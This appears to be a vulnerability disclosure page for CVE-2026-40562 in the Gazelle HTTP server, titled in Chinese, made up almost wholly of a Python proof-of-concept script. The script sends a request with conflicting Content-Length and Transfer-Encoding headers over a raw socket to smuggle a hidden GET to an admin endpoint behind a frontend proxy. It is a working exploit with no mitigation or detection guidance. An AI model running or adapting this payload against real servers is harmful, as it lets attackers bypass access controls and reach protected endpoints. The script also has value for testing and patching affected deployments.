CVE-2026-40562 Gazelle HTTP请求走私漏洞

import socket # Proof of Concept for CVE-2026-40562 # This script demonstrates an HTTP Request Smuggling attack. # It sends a request with conflicting Content-Length and Transfer-Encoding headers. # The frontend (RFC compliant) processes TE, while the vulnerable Gazelle (backend) processes CL. def send_smuggling_request(host, port): payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 60\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /hidden_admin_endpoint HTTP/1.1\r\n" f"Host: {host}\r\n" "User-Agent: Smuggled-Request\r\n" "\r\n" ) print(f"[*] Sending payload to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) # Receive response (adjust buffer size as needed) response = s.recv(4096) print("[+] Response received:") print(response.decode(errors='ignore')) s.close() if __name__ == "__main__": # Replace with actual target details target_host = "127.0.0.1" target_port = 8080 send_smuggling_request(target_host, target_port)